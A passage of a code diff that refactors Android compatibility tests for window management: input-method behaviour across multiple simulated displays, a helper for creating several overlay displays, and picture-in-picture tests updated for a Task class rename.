-                        imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()),
-                event -> "showSoftInput".equals(event.getEventName()));
+        expectEvent(stream, editorMatcher("onStartInput",
+                imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()), TIMEOUT);
+        showSoftInputAndAssertImeShownOnDisplay(newDisplay.mId, imeTestActivitySession2, stream);
 
         // Tap default display again to make sure the IME window will come back.
         tapOnDisplayCenter(defDisplay.mId);
-        imeTestActivitySession.runOnMainSyncAndWait(
-                imeTestActivitySession.getActivity()::showSoftInput);
-        waitOrderedImeEventsThenAssertImeShown(stream, defDisplay.mId,
-                editorMatcher("onStartInput",
-                        imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
-                event -> "showSoftInput".equals(event.getEventName()));
+        expectEvent(stream, editorMatcher("onStartInput",
+                imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()), TIMEOUT);
+        showSoftInputAndAssertImeShownOnDisplay(defDisplay.mId, imeTestActivitySession, stream);
     }
 
     /**
@@ -536,8 +527,6 @@
     public void testCrossDisplayBasicImeOperations() throws Exception {
         assumeTrue(MSG_NO_MOCK_IME, supportsInstallableIme());
 
-        final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
-
         final MockImeSession mockImeSession = createManagedMockImeSession(this);
         final TestActivitySession<ImeTestActivity> imeTestActivitySession =
                 createManagedTestActivitySession();
@@ -555,24 +544,20 @@
         // Launch Ime test activity in virtual display.
         imeTestActivitySession.launchTestActivityOnDisplay(ImeTestActivity.class,
                 newDisplay.mId);
+        final ImeEventStream stream = mockImeSession.openEventStream();
 
-        // Expect onStartInput / showSoftInput would be executed when user tapping on the
+        // Expect onStartInput would be executed when user tapping on the
         // non-system created display intentionally.
-        final int[] location = new int[2];
-        imeTestActivitySession.getActivity().mEditText.getLocationOnScreen(location);
-        tapOnDisplaySync(location[0], location[1], newDisplay.mId);
+        tapAndAssertEditorFocusedOnImeActivity(imeTestActivitySession, newDisplay.mId);
+        expectEvent(stream, editorMatcher("onStartInput",
+                imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()), TIMEOUT);
 
         // Verify the activity to show soft input on the default display.
-        final ImeEventStream stream = mockImeSession.openEventStream();
-        final EditText editText = imeTestActivitySession.getActivity().mEditText;
-        imeTestActivitySession.runOnMainSyncAndWait(
-                imeTestActivitySession.getActivity()::showSoftInput);
-        waitOrderedImeEventsThenAssertImeShown(stream, DEFAULT_DISPLAY,
-                editorMatcher("onStartInput", editText.getPrivateImeOptions()),
-                event -> "showSoftInput".equals(event.getEventName()));
+        showSoftInputAndAssertImeShownOnDisplay(DEFAULT_DISPLAY, imeTestActivitySession, stream);
 
         // Commit text & make sure the input texts should be delivered to focused EditText on
         // virtual display.
+        final EditText editText = imeTestActivitySession.getActivity().mEditText;
         final String commitText = "test commit";
         expectCommand(stream, mockImeSession.callCommitText(commitText, 1), TIMEOUT);
         imeTestActivitySession.runOnMainAndAssertWithTimeout(
@@ -605,7 +590,7 @@
                 .setSimulateDisplay(true)
                 .createDisplay();
 
-        // Launch Ime test activity in virtual display.
+        // Launch Ime test activity and initial the editor focus on virtual display.
         imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
                 newDisplay.mId);
 
@@ -614,17 +599,11 @@
                 imeTestActivitySession.getActivity().getComponentName();
         assertThat(mWmState.hasActivityInDisplay(newDisplay.mId, imeTestActivityName)).isTrue();
 
-        // Expect onStartInput to not execute when user taps on the display with the HIDE policy.
-        final int[] location = new int[2];
-        imeTestActivitySession.getActivity().mEditText.getLocationOnScreen(location);
-        tapOnDisplaySync(location[0], location[1], newDisplay.mId);
-
-        // Verify tapping secondary display to request focus on EditText does not show soft input.
-        final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+        // Verify invoking showSoftInput will be ignored when the display with the HIDE policy.
         final ImeEventStream stream = mockImeSession.openEventStream();
         imeTestActivitySession.runOnMainSyncAndWait(
                 imeTestActivitySession.getActivity()::showSoftInput);
-        notExpectEvent(stream, editorMatcher("onStartInput",
+        notExpectEvent(stream, editorMatcher("showSoftInput",
                 imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
                 NOT_EXPECT_TIMEOUT);
     }
@@ -638,25 +617,7 @@
         assumeTrue(MSG_NO_MOCK_IME, supportsInstallableIme());
 
         final MockImeSession mockImeSession = createManagedMockImeSession(this);
-
-        // Launch Ime test activity on default display.
-        final TestActivitySession<ImeTestActivity2> defaultDisplaySession =
-                createManagedTestActivitySession();
-        defaultDisplaySession.launchTestActivityOnDisplaySync(ImeTestActivity2.class,
-                DEFAULT_DISPLAY);
-
-        // Tap the EditText to start IME session.
-        final int[] location = new int[2];
-        EditText editText = defaultDisplaySession.getActivity().mEditText;
-        tapOnDisplayCenter(DEFAULT_DISPLAY);
-        editText.getLocationOnScreen(location);
-        tapOnDisplaySync(location[0], location[1], DEFAULT_DISPLAY);
-
-        // Verify the activity shows soft input on the default display.
         final ImeEventStream stream = mockImeSession.openEventStream();
-        waitOrderedImeEventsThenAssertImeShown(stream, DEFAULT_DISPLAY,
-                editorMatcher("onStartInput", editText.getPrivateImeOptions()),
-                event -> "showSoftInput".equals(event.getEventName()));
 
         // Create a virtual display with the policy to hide the IME.
         final DisplayContent newDisplay = createManagedVirtualDisplaySession()
@@ -674,22 +635,17 @@
         final TestActivitySession<ImeTestActivity> imeTestActivitySession =
                 createManagedTestActivitySession();
 
-        // Launch Ime test activity in virtual display.
+        // Launch Ime test activity and initial the editor focus on virtual display.
         imeTestActivitySession.launchTestActivityOnDisplay(ImeTestActivity.class,
                 newDisplay.mId);
 
-        // Tap the EditText on the virtual display.
-        editText = imeTestActivitySession.getActivity().mEditText;
-        tapOnDisplayCenter(newDisplay.mId);
-        editText.getLocationOnScreen(location);
-        tapOnDisplaySync(location[0], location[1], newDisplay.mId);
-
-        final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
-
-        // Verify the activity does not show soft input.
-        notExpectEvent(stream, editorMatcher("onStartInput", editText.getPrivateImeOptions()),
-                TIMEOUT);
-        InputMethodVisibilityVerifier.expectImeInvisible(TIMEOUT);
+        // Expect no onStartInput and the activity does not show soft input when user taps the
+        // editor on the display with the HIDE policy.
+        tapAndAssertEditorFocusedOnImeActivity(imeTestActivitySession, newDisplay.mId);
+        notExpectEvent(stream, editorMatcher("onStartInput",
+                imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
+                NOT_EXPECT_TIMEOUT);
+        InputMethodVisibilityVerifier.expectImeInvisible(NOT_EXPECT_TIMEOUT);
     }
 
     @Test
@@ -717,6 +673,7 @@
         final MockImeSession mockImeSession = createManagedMockImeSession(this);
         final TestActivitySession<ImeTestActivity> imeTestActivitySession =
                 createManagedTestActivitySession();
+        // Launch Ime test activity and initial the editor focus on virtual display.
         imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
                 newDisplay.mId);
 
@@ -741,19 +698,101 @@
                 .setDisplayId(DEFAULT_DISPLAY).execute();
         waitAndAssertTopResumedActivity(imeTestActivitySession.getActivity().getComponentName(),
                 DEFAULT_DISPLAY, "Activity launched on default display and on top");
+        final ImeEventStream stream = mockImeSession.openEventStream();
+        expectEvent(stream, editorMatcher("onStartInput",
+                imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()), TIMEOUT);
 
         // Activity is no longer on the secondary display
         assertThat(mWmState.hasActivityInDisplay(newDisplay.mId, imeTestActivityName)).isFalse();
 
-        // Verify if tapping default display to request focus on EditText can show soft input.
-        final ImeEventStream stream = mockImeSession.openEventStream();
-        tapOnDisplayCenter(defDisplay.mId);
+        // Verify the activity shows soft input on the default display.
+        showSoftInputAndAssertImeShownOnDisplay(DEFAULT_DISPLAY, imeTestActivitySession, stream);
+    }
+
+    @Test
+    public void testNoConfigurationChangedWhenSwitchBetweenTwoIdenticalDisplays() throws Exception {
+        // If config_perDisplayFocusEnabled, the focus will not move even if touching on
+        // the Activity in the different display.
+        assumeFalse(perDisplayFocusEnabled());
+        assumeTrue(MSG_NO_MOCK_IME, supportsInstallableIme());
+
+        // Create two displays with the same display metrics
+        final List<DisplayContent> newDisplays = createManagedVirtualDisplaySession()
+                .setShowSystemDecorations(true)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_LOCAL)
+                .setSimulateDisplay(true)
+                .createDisplays(2);
+        final DisplayContent firstDisplay = newDisplays.get(0);
+        final DisplayContent secondDisplay = newDisplays.get(1);
+
+        // Initialize IME test environment
+        final MockImeSession mockImeSession = createManagedMockImeSession(this);
+        final TestActivitySession<ImeTestActivity> imeTestActivitySession =
+                createManagedTestActivitySession();
+        ImeEventStream stream = mockImeSession.openEventStream();
+        // Filter out onConfigurationChanged events in case that IME is moved from the default
+        // display to the firstDisplay.
+        ImeEventStream configChangeVerifyStream = clearOnConfigurationChangedFromStream(stream);
+
+        // Make firstDisplay the top focus display.
+        tapOnDisplayCenter(firstDisplay.mId);
+        imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
+                firstDisplay.mId);
         imeTestActivitySession.runOnMainSyncAndWait(
                 imeTestActivitySession.getActivity()::showSoftInput);
-        waitOrderedImeEventsThenAssertImeShown(stream, defDisplay.mId,
+
+        waitOrderedImeEventsThenAssertImeShown(stream, firstDisplay.mId,
                 editorMatcher("onStartInput",
                         imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
                 event -> "showSoftInput".equals(event.getEventName()));
+        // Launch Ime must not lead to screen size changes.
+        waitAndAssertImeNoScreenSizeChanged(configChangeVerifyStream);
+
+        final Rect currentBoundsOnFirstDisplay = expectCommand(stream,
+                mockImeSession.callGetCurrentWindowMetricsBounds(), TIMEOUT)
+                .getReturnParcelableValue();
+
+        // Clear onConfigurationChanged events before IME moves to the secondary display to prevent
+        // flaky because IME may receive configuration updates which we don't care about.
+        // An example is CONFIG_KEYBOARD_HIDDEN.
+        configChangeVerifyStream = clearOnConfigurationChangedFromStream(stream);
+
+        // Tap secondDisplay to change it to the top focused display.
+        tapOnDisplayCenter(secondDisplay.mId);
+
+        // Move ImeTestActivity from firstDisplay to secondDisplay.
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(imeTestActivitySession.getActivity().getComponentName())
+                .setIntentFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .allowMultipleInstances(false)
+                .setDisplayId(secondDisplay.mId).execute();
+
+        // Make sure ImeTestActivity is move from the firstDisplay to the secondDisplay
+        waitAndAssertTopResumedActivity(imeTestActivitySession.getActivity().getComponentName(),
+                secondDisplay.mId, "ImeTestActivity must be top-resumed on display#"
+                + secondDisplay.mId);
+        assertThat(mWmState.hasActivityInDisplay(firstDisplay.mId,
+                imeTestActivitySession.getActivity().getComponentName())).isFalse();
+
+        // Show soft input again to trigger IME movement.
+        imeTestActivitySession.runOnMainSyncAndWait(
+                imeTestActivitySession.getActivity()::showSoftInput);
+
+        waitOrderedImeEventsThenAssertImeShown(stream, secondDisplay.mId,
+                editorMatcher("onStartInput",
+                        imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
+                event -> "showSoftInput".equals(event.getEventName()));
+        // Moving IME to the display with the same display metrics must not lead to
+        // screen size changes.
+        waitAndAssertImeNoScreenSizeChanged(configChangeVerifyStream);
+
+        final Rect currentBoundsOnSecondDisplay = expectCommand(stream,
+                mockImeSession.callGetCurrentWindowMetricsBounds(), TIMEOUT)
+                .getReturnParcelableValue();
+
+        assertWithMessage("The current WindowMetrics bounds of IME must not be changed.")
+                .that(currentBoundsOnFirstDisplay).isEqualTo(currentBoundsOnSecondDisplay);
     }
 
     public static class ImeTestActivity extends Activity {
@@ -774,7 +813,8 @@
         }
 
         void showSoftInput() {
-            mEditText.scheduleShowSoftInput();
+            final InputMethodManager imm = getSystemService(InputMethodManager.class);
+            imm.showSoftInput(mEditText, 0);
         }
 
         void resetPrivateImeOptionsIdentifier() {
@@ -846,4 +886,32 @@
         assertEquals("Display density not the same", displayDensityDpi, displayDensityDpiForIme);
         assertEquals("Display bounds not the same", displayBounds, displayBoundsForIme);
     }
+
+    private void tapAndAssertEditorFocusedOnImeActivity(
+            TestActivitySession<? extends ImeTestActivity> activitySession, int expectDisplayId) {
+        final int[] location = new int[2];
+        waitAndAssertActivityStateOnDisplay(activitySession.getActivity().getComponentName(),
+                STATE_RESUMED, expectDisplayId,
+                "ImeActivity failed to appear on display#" + expectDisplayId);
+        activitySession.runOnMainSyncAndWait(() -> {
+            final EditText editText = activitySession.getActivity().mEditText;
+            editText.getLocationOnScreen(location);
+        });
+        final ComponentName expectComponent = activitySession.getActivity().getComponentName();
+        tapOnDisplaySync(location[0], location[1], expectDisplayId);
+        mWmState.computeState(activitySession.getActivity().getComponentName());
+        mWmState.assertFocusedAppOnDisplay("Activity not focus on the display", expectComponent,
+                expectDisplayId);
+    }
+
+    private void showSoftInputAndAssertImeShownOnDisplay(int displayId,
+            TestActivitySession<? extends ImeTestActivity> activitySession, ImeEventStream stream)
+            throws Exception {
+        activitySession.runOnMainSyncAndWait(
+                activitySession.getActivity()::showSoftInput);
+        expectEvent(stream, editorMatcher("onStartInputView",
+                activitySession.getActivity().mEditText.getPrivateImeOptions()), TIMEOUT);
+        // Assert the IME is shown on the expected display.
+        mWmState.waitAndAssertImeWindowShownOnDisplay(displayId);
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 13c6055..ae5284e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.content.pm.ActivityInfo.CONFIG_SCREEN_SIZE;
 import static android.content.pm.PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS;
 import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
 import static android.provider.Settings.Secure.IMMERSIVE_MODE_CONFIRMATIONS;
@@ -41,7 +42,9 @@
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
+import static com.android.cts.mockime.ImeEventStreamTestUtils.clearAllEvents;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.hasSize;
@@ -53,6 +56,7 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
+import android.inputmethodservice.InputMethodService;
 import android.os.Bundle;
 import android.provider.Settings;
 import android.server.wm.CommandSession.ActivitySession;
@@ -69,6 +73,7 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.mockime.ImeEvent;
 import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeEventStreamTestUtils;
 
 import org.junit.AfterClass;
 import org.junit.Before;
@@ -345,46 +350,10 @@
         return mObjectTracker.manage(new DisplayMetricsSession(displayId));
     }
 
-    public static class LetterboxAspectRatioSession implements AutoCloseable {
-        private static final String WM_SET_IGNORE_ORIENTATION_REQUEST =
-                "wm set-ignore-orientation-request ";
-        private static final String WM_GET_IGNORE_ORIENTATION_REQUEST =
-                "wm get-ignore-orientation-request";
-        private static final Pattern IGNORE_ORIENTATION_REQUEST_PATTERN =
-                Pattern.compile("ignoreOrientationRequest (true|false) for displayId=\\d+");
-
-        private static final String WM_SET_LETTERBOX_STYLE_ASPECT_RATIO =
-                "wm set-letterbox-style --aspectRatio ";
-        private static final String WM_RESET_LETTERBOX_STYLE_ASPECT_RATIO
-                = "wm reset-letterbox-style aspectRatio";
-
-        final int mDisplayId;
-        final boolean mInitialIgnoreOrientationRequest;
-
-        LetterboxAspectRatioSession(int displayId, float aspectRatio) {
-            mDisplayId = displayId;
-            Matcher matcher = IGNORE_ORIENTATION_REQUEST_PATTERN.matcher(
-                    executeShellCommand(WM_GET_IGNORE_ORIENTATION_REQUEST + " -d " + mDisplayId));
-            assertTrue("get-ignore-orientation-request should match pattern", matcher.find());
-            mInitialIgnoreOrientationRequest = Boolean.parseBoolean(matcher.group(1));
-
-            executeShellCommand("wm set-ignore-orientation-request true -d " + mDisplayId);
-            executeShellCommand(WM_SET_LETTERBOX_STYLE_ASPECT_RATIO + aspectRatio);
-        }
-
-        @Override
-        public void close() {
-            executeShellCommand(
-                    WM_SET_IGNORE_ORIENTATION_REQUEST + mInitialIgnoreOrientationRequest + " -d "
-                            + mDisplayId);
-            executeShellCommand(WM_RESET_LETTERBOX_STYLE_ASPECT_RATIO);
-        }
-    }
-
     /** @see ObjectTracker#manage(AutoCloseable) */
-    protected LetterboxAspectRatioSession createManagedLetterboxAspectRatioSession(int displayId,
-            float aspectRatio) {
-        return mObjectTracker.manage(new LetterboxAspectRatioSession(displayId, aspectRatio));
+    protected IgnoreOrientationRequestSession createManagedIgnoreOrientationRequestSession(
+            int displayId, boolean value) {
+        return mObjectTracker.manage(new IgnoreOrientationRequestSession(displayId, value));
     }
 
     void waitForDisplayGone(Predicate<DisplayContent> displayPredicate) {
@@ -508,7 +477,7 @@
         @NonNull
         List<DisplayContent> createDisplays(int count) {
             if (mSimulateDisplay) {
-                return simulateDisplay();
+                return simulateDisplays(count);
             } else {
                 return createVirtualDisplays(count);
             }
@@ -542,13 +511,10 @@
          * </pre>
          * @return {@link DisplayContent} of newly created display.
          */
-        private List<DisplayContent> simulateDisplay() {
+        private List<DisplayContent> simulateDisplays(int count) {
             mOverlayDisplayDeviceSession = new OverlayDisplayDevicesSession(mContext);
-            mOverlayDisplayDeviceSession.createDisplay(
-                    mSimulationDisplaySize,
-                    mDensityDpi,
-                    mOwnContentOnly,
-                    mShowSystemDecorations);
+            mOverlayDisplayDeviceSession.createDisplays(mSimulationDisplaySize, mDensityDpi,
+                    mOwnContentOnly, mShowSystemDecorations, count);
             mOverlayDisplayDeviceSession.configureDisplays(mDisplayImePolicy /* imePolicy */);
             return mOverlayDisplayDeviceSession.getCreatedDisplays();
         }
@@ -709,16 +675,24 @@
         }
 
         /** Creates overlay display with custom density dpi, specified size, and test flags. */
-        void createDisplay(Size displaySize, int densityDpi, boolean ownContentOnly,
-                boolean shouldShowSystemDecorations) {
-            String displaySettingsEntry = displaySize + "/" + densityDpi;
-            if (ownContentOnly) {
-                displaySettingsEntry += OVERLAY_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+        void createDisplays(Size displaySize, int densityDpi, boolean ownContentOnly,
+                boolean shouldShowSystemDecorations, int count) {
+            final StringBuilder builder = new StringBuilder();
+            for (int i = 0; i < count; i++) {
+                String displaySettingsEntry = displaySize + "/" + densityDpi;
+                if (ownContentOnly) {
+                    displaySettingsEntry += OVERLAY_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+                }
+                if (shouldShowSystemDecorations) {
+                    displaySettingsEntry += OVERLAY_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS;
+                }
+                builder.append(displaySettingsEntry);
+                // Creating n displays needs (n - 1) ';'.
+                if (i < count - 1) {
+                    builder.append(';');
+                }
             }
-            if (shouldShowSystemDecorations) {
-                displaySettingsEntry += OVERLAY_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS;
-            }
-            set(displaySettingsEntry);
+            set(builder.toString());
         }
 
         void configureDisplays(int imePolicy) {
@@ -870,6 +844,22 @@
         mWmState.waitAndAssertImeWindowShownOnDisplay(displayId);
     }
 
+    protected void waitAndAssertImeNoScreenSizeChanged(ImeEventStream stream) {
+        notExpectEvent(stream, event -> "onConfigurationChanged".equals(event.getEventName())
+                && (event.getArguments().getInt("ConfigUpdates") & CONFIG_SCREEN_SIZE) != 0,
+                TimeUnit.SECONDS.toMillis(1) /* eventTimeout */);
+    }
+
+    /**
+     * Clears all {@link InputMethodService#onConfigurationChanged(Configuration)} events from the
+     * given {@code stream} and returns a forked {@link ImeEventStream}.
+     *
+     * @see ImeEventStreamTestUtils#clearAllEvents(ImeEventStream, String)
+     */
+    protected ImeEventStream clearOnConfigurationChangedFromStream(ImeEventStream stream) {
+        return clearAllEvents(stream, "onConfigurationChanged");
+    }
+
     /**
      * This class is used when you need to test virtual display created by a privileged app.
      *
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java
index 6843df3..e6e1e81 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java
@@ -206,7 +206,7 @@
         int displayWindowingMode = mWmState.getDisplay(
                 mWmState.getDisplayByActivity(TEST_ACTIVITY)).getWindowingMode();
         separateTestJournal();
-        mTaskOrganizer.dismissSplitScreen();
+        mTaskOrganizer.dismissSplitScreen(true /* primaryOnTop */);
         if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
             // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
             final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
@@ -256,7 +256,7 @@
                 mTaskOrganizer.getTaskInfo(noRelaunchTaskId).getToken();
         WindowContainerTransaction t = new WindowContainerTransaction()
                 .setWindowingMode(noRelaunchTaskToken, WINDOWING_MODE_FULLSCREEN);
-        mTaskOrganizer.dismissSplitScreen(t, false /* primaryOnTop */);
+        mTaskOrganizer.dismissSplitScreen(t, true /* primaryOnTop */);
 
         lifecycleCounts = waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
         assertEquals("mMultiWindowModeChangedCount",
@@ -343,7 +343,7 @@
             mWmState.waitFor("Waiting for new activity to come up.",
                     state -> state.getTaskByActivity(targetActivityName, excludeTaskIds) != null);
         }
-        WindowManagerState.ActivityTask task = mWmState.getTaskByActivity(targetActivityName,
+        WindowManagerState.Task task = mWmState.getTaskByActivity(targetActivityName,
                 excludeTaskIds);
         final int secondaryTaskId2;
         if (task != null) {
@@ -377,7 +377,7 @@
             mWmState.waitFor("Waiting for the second new activity to come up.",
                     state -> state.getTaskByActivity(targetActivityName, excludeTaskIds) != null);
         }
-        WindowManagerState.ActivityTask taskFinal =
+        WindowManagerState.Task taskFinal =
                 mWmState.getTaskByActivity(targetActivityName, excludeTaskIds);
         if (taskFinal != null) {
             int secondaryTaskId3 = taskFinal.mTaskId;
@@ -446,7 +446,7 @@
     @Test
     public void testDisallowUpdateWindowingModeWhenInLockedTask() {
         launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-        final WindowManagerState.ActivityTask task =
+        final WindowManagerState.Task task =
                 mWmState.getStandardRootTaskByWindowingMode(
                         WINDOWING_MODE_FULLSCREEN).getTopTask();
 
@@ -482,9 +482,9 @@
     public void testDisallowHierarchyOperationWhenInLockedTask() {
         launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW);
-        final WindowManagerState.ActivityTask task = mWmState
+        final WindowManagerState.Task task = mWmState
                 .getStandardRootTaskByWindowingMode(WINDOWING_MODE_FULLSCREEN).getTopTask();
-        final WindowManagerState.ActivityTask root = mWmState
+        final WindowManagerState.Task root = mWmState
                 .getStandardRootTaskByWindowingMode(WINDOWING_MODE_MULTI_WINDOW).getTopTask();
 
         try {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index aa17c5e..4a4f6b4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -111,7 +111,7 @@
 import android.server.wm.CommandSession.ActivityCallback;
 import android.server.wm.CommandSession.SizeInfo;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
-import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.Task;
 import android.server.wm.settings.SettingsSession;
 import android.util.Log;
 import android.util.Size;
@@ -587,7 +587,7 @@
 
         // Ensure that auto-enter pip failed and that the resumed activity in the pinned stack is
         // still the first activity
-        final ActivityTask pinnedStack = getPinnedStack();
+        final Task pinnedStack = getPinnedStack();
         assertEquals(getActivityName(ALWAYS_FOCUSABLE_PIP_ACTIVITY), pinnedStack.mRealActivity);
     }
 
@@ -597,12 +597,12 @@
         launchActivity(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY);
         waitForEnterPip(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
         assertPinnedStackExists();
-        final ActivityTask pinnedStack = getPinnedStack();
+        final Task pinnedStack = getPinnedStack();
 
         launchActivityInNewTask(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY);
         waitForEnterPip(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
 
-        assertEquals(1, mWmState.countStacks(WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD));
+        assertEquals(1, mWmState.countRootTasks(WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD));
     }
 
     @Test
@@ -620,7 +620,7 @@
         launchActivity(PIP_ACTIVITY2, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPipAnimationComplete(PIP_ACTIVITY2);
 
-        final ActivityTask pinnedStack = getPinnedStack();
+        final Task pinnedStack = getPinnedStack();
         assertEquals(0, pinnedStack.getTasks().size());
         assertTrue(mWmState.containsActivityInWindowingMode(
                 PIP_ACTIVITY2, WINDOWING_MODE_PINNED));
@@ -806,7 +806,7 @@
         launchActivity(LAUNCH_ENTER_PIP_ACTIVITY);
         waitForEnterPip(PIP_ACTIVITY);
 
-        final ActivityTask task = mWmState.getTaskByActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+        final Task task = mWmState.getTaskByActivity(LAUNCH_ENTER_PIP_ACTIVITY);
         assertEquals(1, task.mActivities.size());
         assertPinnedStackExists();
     }
@@ -821,7 +821,7 @@
         mBroadcastActionTrigger.expandPip();
         waitForExitPipToFullscreen(PIP_ACTIVITY);
 
-        final ActivityTask task = mWmState.getTaskByActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+        final Task task = mWmState.getTaskByActivity(LAUNCH_ENTER_PIP_ACTIVITY);
         assertEquals(2, task.mActivities.size());
     }
 
@@ -835,7 +835,7 @@
         mBroadcastActionTrigger.doAction(ACTION_FINISH);
         waitForPinnedStackRemoved();
 
-        final ActivityTask task = mWmState.getTaskByActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+        final Task task = mWmState.getTaskByActivity(LAUNCH_ENTER_PIP_ACTIVITY);
         assertFalse(task.mHasChildPipActivity);
     }
 
@@ -921,7 +921,7 @@
     @Test
     public void testDisallowEnterPipActivityLocked() {
         launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"));
-        ActivityTask task = mWmState.getStackByActivity(PIP_ACTIVITY);
+        Task task = mWmState.getRootTaskByActivity(PIP_ACTIVITY);
 
         // Lock the task and ensure that we can't enter picture-in-picture both explicitly and
         // when paused
@@ -1095,16 +1095,10 @@
         launchActivity(PIP_ACTIVITY);
         waitForExitPipToFullscreen(PIP_ACTIVITY);
         assertPinnedStackDoesNotExist();
-        mWmState.waitForLastOrientation(ORIENTATION_LANDSCAPE);
+        mWmState.waitForActivityOrientation(PIP_ACTIVITY, ORIENTATION_LANDSCAPE);
 
-        mWmState.computeState(PIP_ACTIVITY);
-        final ActivityTask activityTask =
-                mWmState.getTaskByActivity(PIP_ACTIVITY);
-        if (activityTask.getWindowingMode() == WINDOWING_MODE_FULLSCREEN) {
-            assertEquals(ORIENTATION_LANDSCAPE, mWmState.getLastOrientation());
-        } else {
-            assertEquals(ORIENTATION_LANDSCAPE, activityTask.mOverrideConfiguration.orientation);
-        }
+        final Task pipActivityTask = mWmState.getTaskByActivity(PIP_ACTIVITY);
+        assertEquals(ORIENTATION_LANDSCAPE, pipActivityTask.mOverrideConfiguration.orientation);
     }
 
     @Test
@@ -1124,8 +1118,8 @@
         launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
-        int taskId = mWmState.getStandardStackByWindowingMode(
-                WINDOWING_MODE_PINNED).getTopTask().mTaskId;
+        int taskId = mWmState.getStandardRootTaskByWindowingMode(WINDOWING_MODE_PINNED).getTopTask()
+                .mTaskId;
 
         // Ensure that we don't any any other overlays as a result of launching into PIP
         launchHomeActivity();
@@ -1145,8 +1139,8 @@
         launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
-        ActivityTask stack = mWmState.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
-        int taskId = stack.getTopTask().mTaskId;
+        Task task = mWmState.getStandardRootTaskByWindowingMode(WINDOWING_MODE_PINNED);
+        int taskId = task.getTopTask().mTaskId;
 
         // Launch task overlay activity into PiP activity task
         launchPinnedActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId);
@@ -1302,6 +1296,20 @@
         launchHomeActivity();
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
+        waitAndAssertActivityState(PIP_ACTIVITY, STATE_PAUSED, "activity must be paused");
+    }
+
+    @Test
+    public void testAutoPipOnLaunchingAnotherActivity() {
+        // Launch the PIP activity and set its pip params to allow auto-pip.
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ALLOW_AUTO_PIP, "true"));
